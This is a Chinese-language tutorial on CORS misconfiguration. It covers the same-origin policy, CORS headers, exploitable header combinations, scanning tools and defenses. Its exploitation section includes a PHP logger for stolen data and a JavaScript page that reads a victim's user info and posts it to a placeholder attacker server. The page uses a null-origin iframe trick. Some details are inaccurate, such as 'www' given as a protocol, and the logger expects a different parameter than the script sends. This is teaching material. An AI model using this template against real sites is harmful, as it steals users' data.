跨域資源共享 (cors) 可以放寬瀏覽器的同源策略,讓不同的網站和不同的伺服器之間通信
1. 同源策略#
同源策略是一個非常重要的安全策略,它用於限制一個 origin 的文件或它加載的腳本如何能與另一個源的資源進行交互。簡單來說就是:同源策略允許運行在頁面的腳本如 JavaScript 可以無限制地訪問同一個網站(同源)中其他腳本的任何方法和屬性。這裡提到的一個點:同源
什麼是同源?
- 同協議(如:都是 www)
- 同域名(域名和它的子域名不是同源)
- 同端口(如:都是 80 端口)
其實就是 URL 地址的前幾個部分
同源策略就簡單介紹到這裡,想要詳細了解的話可以點擊這裡
2. 什麼是 CORS#
在這個 web2.0 的時代,同源策略的限制太多了,因此有了放寬同源策略限制的技術,那就是跨域資源共享(CORS)。
這種機制通過在 HTTP 頭部添加字段,允許瀏覽器向跨域伺服器發出 XMLHttpRequest 請求,從而克服 AJAX 只能同源使用的限制
在用瀏覽器發送時,會自動在請求頭中添加 Origin 字段,服務器驗證 Origin 字段是否被允許,如果允許,那就可以進行跨域訪問了 {
CORS 的標準定義是:通過設置 HTTP 頭部字段,讓客戶端能夠跨域訪問資源。
CORS 定義了兩種跨域請求:
- 簡單請求:使用設定的請求方式請求資源
- 非簡單請求:先發送一個 OPTION 預檢請求,驗證請求源是否為服務端所允許的源,預檢通過後,發送請求,請求資源
主要的頭部字段:
-
Origin:表明預檢請求或實際請求的源站
-
Access-Control-Request-Method:用於預檢請求,其作用是將實際請求所使用的 HTTP 方法告訴服務端
-
Access-Control-Request-Headers:用於預檢請求,其作用是將實際請求所攜帶的頭部字段告訴服務端
-
Access-Control-Allow-Origin:該字段的值可以是請求時 Origin 字段的值,也可以是一個 *( * 表示接受任意域名)
-
Access-Control-Allow-Credentials :該字段是一個布爾值,為 true 的時候表示 cookie 可以包含在請求中一起發送給伺服器
3. CORS 的攻擊與利用#
漏洞利用的最終目的是:受害者只要訪問一個攻擊頁面,攻擊者就可以獲取到敏感信息
3.1 有使用者憑證的利用#
Access-Control-Allow-Origin 值 | Access-Control-Allow-Credentials 值 | 是否可利用 |
---|---|---|
https://attacker.com | true | 是 |
null | true | 是 |
* | true | 否 |
3.2 沒有使用者憑證的利用#
這種情況下是沒有 cookie 傳輸的,所以攻擊者很難拿到 cookie。
Access-Control-Allow-Origin 值 | 是否可利用 |
---|---|
https://attacker.com | 是 |
null | 是 |
* | 是 |
上表中的 null 源是為了網頁跳轉或來自本地 HTML 文件。
3.2.1 利用 null 源#
使用沙盒 iframe 來獲取 null 源
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
使用上面的 iframe 產生一個類似於下面的請求:
GET /handler
Host: target.local
Origin: null
伺服器接收到 null 源返回類似於下面的報文:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 利用 XMLHttpRequest 發包#
- 在遠程伺服器上準備記錄程式碼(用於獲取敏感信息)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- 構建攻擊頁面
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- 當受害者訪問攻擊頁面,伺服器上就會記錄敏感信息
4. 幾個利用工具#
- Brupsuite 自帶 cors 檢驗,但誤報率較高
- X-ray 檢測
- CORScanner
5. CORS 的防禦#
- 嚴格校驗來自請求數據包中的 Origin 的值
- 不要配置 Access-Control-Allow-Origin 字段的值為 *
- 避免使用 Access-Control-Allow-Credentials: true
- 避免使用 OCRS
- 定義白名單
- 使用安全協議
- 限制緩存時間
- 僅配置所需的頭部